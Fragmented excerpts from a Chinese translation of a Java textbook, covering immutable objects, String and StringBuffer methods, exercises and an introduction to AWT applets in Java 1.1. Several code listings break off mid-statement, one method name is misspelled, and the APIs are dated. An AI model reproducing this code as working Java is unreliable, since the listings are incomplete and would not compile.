    {"text": "如下所示： ／／： ＩｍｍｕｔａｂｌｅＩｎｔｅｇｅｒ．ｊａｖａ ／／ Ｔｈｅ Ｉｎｔｅｇｅｒ ｃｌａｓｓ ｃａｎｎｏｔ ｂｅ ｃｈａｎｇｅｄ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＩｍｍｕｔａｂｌｅＩｎｔｅｇｅｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） ｖ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｉｎｔｅｇｅｒ（ｉ））； ／／ Ｂｕｔ ｈｏｗ ｄｏ ｙｏｕ ｃｈａｎｇｅ ｔｈｅ ｉｎｔ ３６９ ／／ ｉｎｓｉｄｅ ｔｈｅ Ｉｎｔｅｇｅｒ？"},
    {"text": "幸运的 是，操作非常简单： ／／： ＭｕｔａｂｌｅＩｎｔｅｇｅｒ．ｊａｖａ ／／ Ａ ｃｈａｎｇｅａｂｌｅ ｗｒａｐｐｅｒ ｃｌａｓｓ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ ＩｎｔＶａｌｕｅ ｛ ｉｎｔ ｎ； ＩｎｔＶａｌｕｅ（ｉｎｔ ｘ） ｛ ｎ ＝ ｘ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｎ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＭｕｔａｂｌｅＩｎｔｅｇｅｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） ｖ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ ＩｎｔＶａｌｕｅ（ｉ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｖ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｖ．ｓｉｚｅ（）； ｉ＋＋） （（ＩｎｔＶａｌｕｅ）ｖ．ｅｌｅｍｅｎｔＡｔ（ｉ））．ｎ＋＋； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｖ）；"},
    {"text": "若默认的初始化为零已经足够（便不需要构建器），而且不用考虑把它打印出来（便不需要 ｔｏＳｔｒｉｎｇ ），那 么 ＩｎｔＶａｌｕｅ 甚至还能更加简单。"},
    {"text": "１ ２ ． ４ ． １ 创建只读类 完全可以创建自己的只读类，下面是个简单的例子： ／／： Ｉｍｍｕｔａｂｌｅ１．ｊａｖａ ／／ Ｏｂｊｅｃｔｓ ｔｈａｔ ｃａｎｎｏｔ ｂｅ ｍｏｄｉｆｉｅｄ ／／ ａｒｅ ｉｍｍｕｎｅ ｔｏ ａｌｉａｓｉｎｇ． ｐｕｂｌｉｃ ｃｌａｓｓ Ｉｍｍｕｔａｂｌｅ１ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｄａｔａ；"},
    {"text": "ｐｕｂｌｉｃ Ｉｍｍｕｔａｂｌｅ１（ｉｎｔ ｉｎｉｔＶａｌ） ｛ ｄａｔａ ＝ ｉｎｉｔＶａｌ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｒｅａｄ（） ｛ ｒｅｔｕｒｎ ｄａｔａ； ｝ ３７０ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｎｏｎｚｅｒｏ（） ｛ ｒｅｔｕｒｎ ｄａｔａ ！"},
    {"text": "｝ ｐｕｂｌｉｃ Ｉｍｍｕｔａｂｌｅ１ ｑｕａｄｒｕｐｌｅ（） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｉｍｍｕｔａｂｌｅ１（ｄａｔａ ＊ ４）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｆ（Ｉｍｍｕｔａｂｌｅ１ ｉ１） ｛ Ｉｍｍｕｔａｂｌｅ１ ｑｕａｄ ＝ ｉ１．ｑｕａｄｒｕｐｌｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉ１ ＝ ＂ ＋ ｉ１．ｒｅａｄ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｑｕａｄ ＝ ＂ ＋ ｑｕａｄ．ｒｅａｄ（））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｍｍｕｔａｂｌｅ１ ｘ ＝ ｎｅｗ Ｉｍｍｕｔａｂｌｅ１（４７）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｘ ＝ ＂ ＋ ｘ．ｒｅａｄ（））； ｆ（ｘ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｘ ＝ ＂ ＋ ｘ．ｒｅａｄ（））；"},
    {"text": "事实上，确实需要修改一个对象 的方法是 ｑｕａｄｒｕｐｌｅ（），但它的作用是新建一个 Ｉｍｍｕｔａｂｌｅ１ 对象，初始对象则是原封未动的。 方法 ｆ（）需要取得一个 Ｉｍｍｕｔａｂｌｅ１ 对象，并对其采取不同的操作，而 ｍａｉｎ（）的输出显示出没有对 ｘ 作任何修 改。"},
    {"text": "因此，上例可改成下面这个样子： ／／： Ｉｍｍｕｔａｂｌｅ２．ｊａｖａ ／／ Ａ ｃｏｍｐａｎｉｏｎ ｃｌａｓｓ ｆｏｒ ｍａｋｉｎｇ ｃｈａｎｇｅｓ ／／ ｔｏ ｉｍｍｕｔａｂｌｅ ｏｂｊｅｃｔｓ． ｃｌａｓｓ Ｍｕｔａｂｌｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｄａｔａ； ｐｕｂｌｉｃ Ｍｕｔａｂｌｅ（ｉｎｔ ｉｎｉｔＶａｌ） ｛ ｄａｔａ ＝ ｉｎｉｔＶａｌ； ｝ ｐｕｂｌｉｃ Ｍｕｔａｂｌｅ ａｄｄ（ｉｎｔ ｘ） ｛ ｄａｔａ ＋＝ ｘ； ｒｅｔｕｒｎ ｔｈｉｓ； ｝ ｐｕｂｌｉｃ Ｍｕｔａｂｌｅ ｍｕｌｔｉｐｌｙ（ｉｎｔ ｘ） ｛ ｄａｔａ ＊＝ ｘ； ｒｅｔｕｒｎ ｔｈｉｓ； ｝ ｐｕｂｌｉｃ Ｉｍｍｕｔａｂｌｅ２ ｍａｋｅＩｍｍｕｔａｂｌｅ２（） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｉｍｍｕｔａｂｌｅ２（ｄａｔａ）； ｝ ｝ ３７１ ｐｕｂｌｉｃ ｃｌａｓｓ Ｉｍｍｕｔａｂｌｅ２ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｄａｔａ； ｐｕｂｌｉｃ Ｉｍｍｕｔａｂｌｅ２（ｉｎｔ ｉｎｉｔＶａｌ） ｛ ｄａｔａ ＝ ｉｎｉｔＶａｌ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｒｅａｄ（） ｛ ｒｅｔｕｒｎ ｄａｔａ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｎｏｎｚｅｒｏ（） ｛ ｒｅｔｕｒｎ ｄａｔａ ！"},
    {"text": "｝ ｐｕｂｌｉｃ Ｉｍｍｕｔａｂｌｅ２ ａｄｄ（ｉｎｔ ｘ） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｉｍｍｕｔａｂｌｅ２（ｄａｔａ ＋ ｘ）； ｝ ｐｕｂｌｉｃ Ｉｍｍｕｔａｂｌｅ２ ｍｕｌｔｉｐｌｙ（ｉｎｔ ｘ） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｉｍｍｕｔａｂｌｅ２（ｄａｔａ ＊ ｘ）； ｝ ｐｕｂｌｉｃ Ｍｕｔａｂｌｅ ｍａｋｅＭｕｔａｂｌｅ（） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｍｕｔａｂｌｅ（ｄａｔａ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｉｍｍｕｔａｂｌｅ２ ｍｏｄｉｆｙ１（Ｉｍｍｕｔａｂｌｅ２ ｙ）｛ Ｉｍｍｕｔａｂｌｅ２ ｖａｌ ＝ ｙ．ａｄｄ（１２）； ｖａｌ ＝ ｖａｌ．ｍｕｌｔｉｐｌｙ（３）； ｖａｌ ＝ ｖａｌ．ａｄｄ（１１）； ｖａｌ ＝ ｖａｌ．ｍｕｌｔｉｐｌｙ（２）； ｒｅｔｕｒｎ ｖａｌ； ｝ ／／ Ｔｈｉｓ ｐｒｏｄｕｃｅｓ ｔｈｅ ｓａｍｅ ｒｅｓｕｌｔ： ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｉｍｍｕｔａｂｌｅ２ ｍｏｄｉｆｙ２（Ｉｍｍｕｔａｂｌｅ２ ｙ）｛ Ｍｕｔａｂｌｅ ｍ ＝ ｙ．ｍａｋｅＭｕｔａｂｌｅ（）； ｍ．ａｄｄ（１２）．ｍｕｌｔｉｐｌｙ（３）．ａｄｄ（１１）．ｍｕｌｔｉｐｌｙ（２）； ｒｅｔｕｒｎ ｍ．ｍａｋｅＩｍｍｕｔａｂｌｅ２（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｍｍｕｔａｂｌｅ２ ｉ２ ＝ ｎｅｗ Ｉｍｍｕｔａｂｌｅ２（４７）； Ｉｍｍｕｔａｂｌｅ２ ｒ１ ＝ ｍｏｄｉｆｙ１（ｉ２）； Ｉｍｍｕｔａｂｌｅ２ ｒ２ ＝ ｍｏｄｉｆｙ２（ｉ２）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉ２ ＝ ＂ ＋ ｉ２．ｒｅａｄ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｒ１ ＝ ＂ ＋ ｒ１．ｒｅａｄ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｒ２ ＝ ＂ ＋ ｒ２．ｒｅａｄ（））；"},
    {"text": "在 ｍｏｄｉｆｙ１（）中，所有工作都是 在 Ｉｍｍｕｔａｂｌｅ２ 类中完成的，我们可看到在进程中创建了四个新的 Ｉｍｍｕｔａｂｌｅ２ 对象（而且每次重新分配了 ｖａｌ，前一个对象就成为垃圾）。 在方法 ｍｏｄｉｆｙ２（）中，可看到它的第一个行动是获取 Ｉｍｍｕｔａｂｌｅ２ ｙ，然后从中生成一个 Ｍｕｔａｂｌｅ（类似于前 面对 ｃｌｏｎｅ（）的调用，但这一次创建了一个不同类型的对象）。"},
    {"text": "这一方法特别适合在下述场合应用： ３７２ （１） 需要不可变的对象，而且 （２） 经常需要进行大量修改，或者 （３） 创建新的不变对象代价太高 １ ２ ． ４ ． ３ 不变字串 请观察下述代码： ／／： Ｓｔｒｉｎｇｅｒ．ｊａｖａ ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｔｒｉｎｇｅｒ ｛ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｕｐｃａｓｅ（Ｓｔｒｉｎｇ ｓ） ｛ ｒｅｔｕｒｎ ｓ．ｔｏＵｐｐｅｒＣａｓｅ（）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｔｒｉｎｇ ｑ ＝ ｎｅｗ Ｓｔｒｉｎｇ（＂ｈｏｗｄｙ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｑ）； ／／ ｈｏｗｄｙ Ｓｔｒｉｎｇ ｑｑ ＝ ｕｐｃａｓｅ（ｑ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｑｑ）； ／／ ＨＯＷＤＹ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｑ）；"},
    {"text": "若观察对 ｕｐｃａｓｅ（）的定义，会发现传递进入的句柄有一个名字 ｓ，而且该名字只有在 ｕｐｃａｓｅ（）执行期间才会 存在。 ｕｐｃａｓｅ（）完成后，本地句柄 ｓ 便会消失，而 ｕｐｃａｓｅ（）返回结果——还是原来那个字串，只是所有字符 都变成了大写。"},
    {"text": "若查阅联机文档中关于 Ｓｔｒｉｎｇ 类的内容（本 章稍后还要总结它），就会发现类中能够修改 Ｓｔｒｉｎｇ 的每个方法实际都创建和返回了一个崭新的 Ｓｔｒｉｎｇ 对 象，新对象里包含了修改过的信息——原来的 Ｓｔｒｉｎｇ 是原封未动的。"},
    {"text": "一个典型的例子便是为 Ｓｔｒｉｎｇ 对象覆盖的运算符“＋”。 “覆盖”意味着在 与一个特定的类使用时，它的含义已发生了变化（用于 Ｓｔｒｉｎｇ 的“＋”和“＋＝”是 Ｊａｖａ 中能被覆盖的唯一运 算符，Ｊａｖａ 不允许程序员覆盖其他任何运算符——注释④）。 ３７３ ④：Ｃ＋＋允许程序员随意覆盖运算符。"},
    {"text": "由于这通常是一个复杂的过程（参见《Ｔｈｉｎｋｉｎｇ ｉｎ Ｃ＋＋》，Ｐｒｅｎｔｉｃｅ－ Ｈａｌｌ 于 １９９５ 年出版），所以 Ｊａｖａ 的设计者认定它是一种“糟糕”的特性，决定不在 Ｊａｖａ 中采用。"},
    {"text": "针对 Ｓｔｒｉｎｇ 对象使用时，“＋”允许我们将不同的字串连接起来： Ｓｔｒｉｎｇ ｓ ＝ ＂ａｂｃ＂ ＋ ｆｏｏ ＋ ＂ｄｅｆ＂ ＋ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（４７）；"},
    {"text": "可以想象出它“可能”是如何工作的：字串＂ａｂｃ＂可以有一个方法 ａｐｐｅｎｄ（），它新建了一个字串，其中包含 ＂ａｂｃ＂以及 ｆｏｏ 的内容；"},
    {"text": "我怀疑 Ｊａｖａ 的设计者是否先试过种方法 （这是软件开发的一个教训——除非自己试试代码，并让某些东西运行起来，否则不可能真正了解系统）。"},
    {"text": "对字串来说，这个同志类叫作 ＳｔｒｉｎｇＢｕｆｆｅｒ，编译 器可以自动创建一个 ＳｔｒｉｎｇＢｕｆｆｅｒ，以便计算特定的表达式，特别是面向 Ｓｔｒｉｎｇ 对象应用覆盖过的运算符＋ 和＋＝时。"},
    {"text": "下面这个例子可以解决这个问题： ／／： ＩｍｍｕｔａｂｌｅＳｔｒｉｎｇｓ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｎｇ ＳｔｒｉｎｇＢｕｆｆｅｒ ｐｕｂｌｉｃ ｃｌａｓｓ ＩｍｍｕｔａｂｌｅＳｔｒｉｎｇｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｔｒｉｎｇ ｆｏｏ ＝ ＂ｆｏｏ＂；"},
    {"text": "Ｓｔｒｉｎｇ ｓ ＝ ＂ａｂｃ＂ ＋ ｆｏｏ ＋ ＂ｄｅｆ＂ ＋ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（４７）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ／／ Ｔｈｅ ＂ｅｑｕｉｖａｌｅｎｔ＂ ｕｓｉｎｇ ＳｔｒｉｎｇＢｕｆｆｅｒ： ＳｔｒｉｎｇＢｕｆｆｅｒ ｓｂ ＝ ｎｅｗ ＳｔｒｉｎｇＢｕｆｆｅｒ（＂ａｂｃ＂）； ／／ Ｃｒｅａｔｅｓ Ｓｔｒｉｎｇ！ ｓｂ．ａｐｐｅｎｄ（ｆｏｏ）； ｓｂ．ａｐｐｅｎｄ（＂ｄｅｆ＂）； ／／ Ｃｒｅａｔｅｓ Ｓｔｒｉｎｇ！ ｓｂ．ａｐｐｅｎｄ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（４７））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓｂ）；"},
    {"text": "｝ ｝ ／／／：￣ 创建字串 ｓ 时，编译器做的工作大致等价于后面使用 ｓｂ 的代码——创建一个 ＳｔｒｉｎｇＢｕｆｆｅｒ，并用 ａｐｐｅｎｄ（） 将新字符直接加入 ＳｔｒｉｎｇＢｕｆｆｅｒ 对象（而不是每次都产生新对象）。 尽管这样做更有效，但不值得每次都创 建象＂ａｂｃ＂和＂ｄｅｆ＂这样的引号字串，编译器会把它们都转换成 Ｓｔｒｉｎｇ 对象。"},
    {"text": "１ ２ ． ４ ． ４ Ｓ ｔ ｒ ｉ ｎ ｇ 和 Ｓ ｔ ｒ ｉ ｎ ｇ Ｂ ｕ ｆ ｆ ｅ ｒ 类 这里总结一下同时适用于 Ｓｔｒｉｎｇ 和 ＳｔｒｉｎｇＢｕｆｆｅｒ 的方法，以便对它们相互间的沟通方式有一个印象。"},
    {"text": "首先总结 Ｓｔｒｉｎｇ 类的各种方法： 方法 自变量，覆盖 用途 构建器 已被覆盖：默认，Ｓｔｒｉｎｇ，ＳｔｒｉｎｇＢｕｆｆｅｒ，ｃｈａｒ 数组，ｂｙｔｅ 数组 创建 Ｓｔｒｉｎｇ 对象 ｌｅｎｇｔｈ（） 无 Ｓｔｒｉｎｇ 中的字符数量 ３７４ ｃｈａｒＡｔ（） ｉｎｔ Ｉｎｄｅｘ 位于 Ｓｔｒｉｎｇ 内某个位置的 ｃｈａｒ ｇｅｔＣｈａｒｓ（），ｇｅｔＢｙｔｅｓ 开始复制的起点和终点，要向其中复制内容的数组，对目标数组的一个索引 将 ｃｈａｒ 或 ｂｙｔｅ 复制到外部数组内部 ｔｏＣｈａｒＡｒｒａｙ（） 无 产生一个 ｃｈａｒ［］，其中包含了 Ｓｔｒｉｎｇ 内部的字符 ｅｑｕａｌｓ（），ｅｑｕａｌｓＩｇｎｏｒｅＣａｓｅ（） 用于对比的一个 Ｓｔｒｉｎｇ 对两个字串的内容进行等价性检查 ｃｏｍｐａｒｅＴｏ（） 用于对比的一个 Ｓｔｒｉｎｇ 结果为负、零或正，具体取决于 Ｓｔｒｉｎｇ 和自变量的字典顺序。"},
    {"text": "覆盖加入了“忽略大 小写”的特性 一个布尔结果，指出要对比的区域是否相同 ｓｔａｒｔｓＷｉｔｈ（） 可能以它开头的 Ｓｔｒｉｎｇ。 覆盖在自变量里加入了偏移 一个布尔结果，指出 Ｓｔｒｉｎｇ 是否以那 个自变量开头 ｅｎｄｓＷｉｔｈ（） 可能是这个 Ｓｔｒｉｎｇ 后缀的一个 Ｓｔｒｉｎｇ 一个布尔结果，指出自变量是不是一个后缀 ｉｎｄｅｘＯｆ（），ｌａｓｔＩｎｄｅｘＯｆ（） 已覆盖：ｃｈａｒ，ｃｈａｒ 和起始索引，Ｓｔｒｉｎｇ，Ｓｔｒｉｎｇ 和起始索引 若自变量未在这 个 Ｓｔｒｉｎｇ 里找到，则返回－１；"},
    {"text": "ｌａｓｔＩｎｄｅｘＯｆ（）可从终点开始回溯搜索 ｓｕｂｓｔｒｉｎｇ（） 已覆盖：起始索引，起始索引和结束索引 返回一个新的 Ｓｔｒｉｎｇ 对象，其中包含了指定的字符 子集 ｃｏｎｃａｔ（） 想连结的 Ｓｔｒｉｎｇ 返回一个新 Ｓｔｒｉｎｇ 对象，其中包含了原始 Ｓｔｒｉｎｇ 的字符，并在后面加上由自变 量提供的字符 ｒｅｌｐａｃｅ（） 要查找的老字符，要用它替换的新字符 返回一个新 Ｓｔｒｉｎｇ 对象，其中已完成了替换工作。 若没 有找到相符的搜索项，就沿用老字串 ｔｏＬｏｗｅｒＣａｓｅ（），ｔｏＵｐｐｅｒＣａｓｅ（） 无 返回一个新 Ｓｔｒｉｎｇ 对象，其中所有字符的大小写形式都进行了统一。 若 不必修改，则沿用老字串 ｔｒｉｍ（） 无 返回一个新的 Ｓｔｒｉｎｇ 对象，头尾空白均已删除。 若毋需改动，则沿用老字串 ｖａｌｕｅＯｆ（） 已覆盖：ｏｂｊｅｃｔ，ｃｈａｒ［］，ｃｈａｒ［］和偏移以及计数，ｂｏｏｌｅａｎ，ｃｈａｒ，ｉｎｔ，ｌｏｎｇ，ｆｌｏａｔ，ｄｏｕｂｌｅ 返回一个 Ｓｔｒｉｎｇ，其中包含自变量的一个字符表现形式 Ｉｎｔｅｒｎ（） 无 为每个独一无二的字符顺序都产生一个（而且只有一个）Ｓｔｒｉｎｇ 句柄 可以看到，一旦有必要改变原来的内容，每个 Ｓｔｒｉｎｇ 方法都小心地返回了一个新的 Ｓｔｒｉｎｇ 对象。 另外要注 意的一个问题是，若内容不需要改变，则方法只返回指向原来那个 Ｓｔｒｉｎｇ 的一个句柄。"},
    {"text": "下面列出有关 ＳｔｒｉｎｇＢｕｆｆｅｒ（字串缓冲）类的方法： 方法 自变量，覆盖 用途 构建器 已覆盖：默认，要创建的缓冲区长度，要根据它创建的 Ｓｔｒｉｎｇ 新建一个 ＳｔｒｉｎｇＢｕｆｆｅｒ 对象 ｔｏＳｔｒｉｎｇ（） 无 根据这个 ＳｔｒｉｎｇＢｕｆｆｅｒ 创建一个 Ｓｔｒｉｎｇ ｌｅｎｇｔｈ（） 无 ＳｔｒｉｎｇＢｕｆｆｅｒ 中的字符数量 ｃａｐａｃｉｔｙ（） 无 返回目前分配的空间大小 ｅｎｓｕｒｅＣａｐａｃｉｔｙ（） 用于表示希望容量的一个整数 使 ＳｔｒｉｎｇＢｕｆｆｅｒ 容纳至少希望的空间大小 ｓｅｔＬｅｎｇｔｈ（） 用于指示缓冲区内字串新长度的一个整数 缩短或扩充前一个字符串。"},
    {"text": "如果是扩充，则用 ｎｕｌｌ 值填充空隙 ｃｈａｒＡｔ（） 表示目标元素所在位置的一个整数 返回位于缓冲区指定位置处的 ｃｈａｒ ｓｅｔＣｈａｒＡｔ（） 代表目标元素位置的一个整数以及元素的一个新 ｃｈａｒ 值 修改指定位置处的值 ｇｅｔＣｈａｒｓ（） 复制的起点和终点，要在其中复制的数组以及目标数组的一个索引 将 ｃｈａｒ 复制到一个外部数 组。"},
    {"text": "和 Ｓｔｒｉｎｇ 不同，这里没有 ｇｅｔＢｙｔｅｓ（）可供使用 ａｐｐｅｎｄ（） 已覆盖：Ｏｂｊｅｃｔ，Ｓｔｒｉｎｇ，ｃｈａｒ［］，特定偏移和长度的 ｃｈａｒ［］，ｂｏｏｌｅａｎ，ｃｈａｒ，ｉｎｔ，ｌｏｎｇ， ｆｌｏａｔ，ｄｏｕｂｌｅ 将自变量转换成一个字串，并将其追加到当前缓冲区的末尾。 若有必要，同时增大缓冲区的 长度 ｉｎｓｅｒｔ（） 已覆盖，第一个自变量代表开始插入的位置：Ｏｂｊｅｃｔ，Ｓｔｒｉｎｇ，ｃｈａｒ［］，ｂｏｏｌｅａｎ，ｃｈａｒ，ｉｎｔ， ｌｏｎｇ，ｆｌｏａｔ，ｄｏｕｂｌｅ 第二个自变量转换成一个字串，并插入当前缓冲区。"},
    {"text": "在本章中，大家已见识了剩下的一种 特殊情况：用同志 ＳｔｒｉｎｇＢｕｆｆｅｒ 精心构造的“不可变”能力，以及编译器中出现的一些有趣现象。"},
    {"text": "１ ２ ． ５ 总结 由于 Ｊａｖａ 中的所有东西都是句柄，而且由于每个对象都是在内存堆中创建的——只有不再需要的时候，才会 当作垃圾收集掉，所以对象的操作方式发生了变化，特别是在传递和返回对象的时候。"},
    {"text": "可从两个方面认识这一机制的缺点： （１） 肯定要为额外的内存管理付出效率上的损失（尽管损失不大），而且对于运行所需的时间，总是存在一 丝不确定的因素（因为在内存不够时，垃圾收集器可能会被强制采取行动）。"},
    {"text": "有些人认为 Ｊａｖａ 的克隆是一个笨拙的家伙，所以他们实现了自己的克隆方案（注释⑤），永远杜绝调用 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（）方法，从而消除了实现 Ｃｌｏｎｅａｂｌｅ 和捕获 ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔＥｘｃｅｐｔｉｏｎ 违例的需要。"},
    {"text": "１ ２ ． ６ 练习 （１） 创建一个 ｍｙＳｔｒｉｎｇ 类，在其中包含了一个 Ｓｔｒｉｎｇ 对象，以便用在构建器中用构建器的自变量对其进行 初始化。"},
    {"text": "创建两个 ｓｔａｔｉｃ 方法，每个都取得一个 ｍｙＳｔｒｉｎｇ ｘ 句柄作为自己的自 变量，并调用 ｘ．ｃｏｎｃａｔｅｎａｔｅ（＂ｔｅｓｔ＂）。"},
    {"text": "（２） 创建一个名为 Ｂａｔｔｅｒｙ（电池）的类，在其中包含一个 ｉｎｔ，用它表示电池的编号（采用独一无二的标识 符的形式）。 接下来，创建一个名为 Ｔｏｙ 的类，其中包含了一个 Ｂａｔｔｅｒｙ 数组以及一个 ｔｏＳｔｒｉｎｇ，用于打印 出所有电池。"},
    {"text": "（３） 修改 ＣｈｅｃｋＣｌｏｎｅａｂｌｅ．ｊａｖａ，使所有 ｃｌｏｎｅ（）方法都能捕获 ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔＥｘｃｅｐｔｉｏｎ 违例，而不是把 它直接传递给调用者。"},
    {"text": "３７６ （４） 修改 Ｃｏｍｐｅｔｅ．ｊａｖａ，为 Ｔｈｉｎｇ２ 和 Ｔｈｉｎｇ４ 类添加更多的成员对象，看看自己是否能判断计时随复杂性变 化的规律——是一种简单的线性关系，还是看起来更加复杂。"},
    {"text": "３７７ 第十三章 创建窗口和程序片 在 Ｊａｖａ １．０ 中，图形用户接口（ＧＵＩ）库最初的设计目标是让程序员构建一个通用的 ＧＵＩ，使其在所有平台 上都能正常显示。"},
    {"text": "这类情况在 Ｊａｖａ１．１ 版的 ＡＷＴ 事件模型中得到了很好的改进，例如：更加清晰、面向对象的编程、遵循 Ｊａｖａ Ｂｅａｎｓ 的范例，以及 一个可轻松创建可视编程环境的编程组件模型。"},
    {"text": "在一个程序片中编程会受到很多的限制，我们一般说它“在沙箱内”，这是由于 Ｊａｖａ 运行时一直会有某个东 西——即 Ｊａｖａ 运行期安全系统——在监视着我们。"},
    {"text": "尽管这有 一些困难，但却是必须的，因为我们必须用老的 ＡＷＴ 来维护和阅读传统的 Ｊａｖａ 代码。 有时甚至需要我们编写 ＡＷＴ 代码去支持不能从 Ｊａｖａ１．０ 升级的环境。"},
    {"text": "在本章第二部分，我们将学习 Ｊａｖａ １．１ 版中新的 ＡＷＴ 结构并会 看到它的事件模型是如此的优秀（如果能掌握的话，那么在编制新的程序时就可使用这最新的工具。 最后， 我们将学习新的能像类库一样加入到 Ｊａｖａ １．１ 版中的 ＪＦＣ／Ｓｗｉｎｇ 组件，这意味着不需要升级到 Ｊａｖａ １．２ 便 能使用这一类库。"},
    {"text": "当我们查找更复杂的 内容时，请确定我们的信息浏览器通过查找类和方法来解决编程中的问题（如果我们正在使用一个开发环 境，信息浏览器也许是内建的；"},
    {"text": "许多象这样的问题在 Ｊａｖａ １．１ 里都得到了缓解或排除，因为： （１）Ｊａｖａ １．１ 的新型 ＡＷＴ 是一个更好的编程模型，并向更好的库设计迈出了可喜的一步。"},
    {"text": "一个不 被信任的程序片在操作系统中不能作出任何直接调用，否则它会对用户的机器做出不恰当的事情。 一个不被 信任的程序片不能访问重要的功能。"},
    {"text": "Ｓｕｎ 公司的原始模型创建的信任库将仅仅供给 Ｗｅｂ 浏览器中的 Ｊａｖａ 系统信任关系 自动授权器使用，自动授权器将控制怎样进入到库中去。"},
    {"text": "Ｊａｖａ １．１ 版中的新模型是“信任代码”或“签名代码”，因此一个特 殊服务器将校验我们下载的、由规定的开发者使用的公共密钥加密系统的代码。"},
    {"text": "一个数字签名的程序片——“被信任的程序片”——在 Ｊａｖａ １．１ 版能进入我们的机器并直接控制它，正像一些其它的应用程序从信任关系自动授权机中得到“信任”并 安装在我们的机器上。"},
    {"text": "这些方法是： 方法 作用 ｉｎｉｔ（） 程序片第一次被创建，初次运行初始化程序片时调用 ｓｔａｒｔ（） 每当程序片进入 Ｗｅｂ 浏览器中，并且允许程序片启动它的常规操作时调用（特殊的程序片被 ｓｔｏｐ（） 关闭）；"},
    {"text": "作为 ｕｐｄａｔｅ（） 的一部分调用，以便对程序片 的画布进行特殊的描绘 ｓｔｏｐ（） 每次程序片从 Ｗｅｂ 浏览器的视线中离开时调用，使程序片能关闭代价高昂的操作； 同样在调用 ｄｅｓｔｒｏｙ（）前调用 ｄｅｓｔｒｏｙ（） 程序片不再需要，将它从页面中卸载时调用，以执行资源的最后清除工作 现在来看一看 ｐａｉｎｔ（）方法。"},
